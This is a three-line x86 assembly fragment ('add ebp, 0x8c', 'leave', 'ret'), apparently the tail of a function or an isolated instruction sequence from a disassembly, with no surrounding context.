add ebp, 0x8c
leave
ret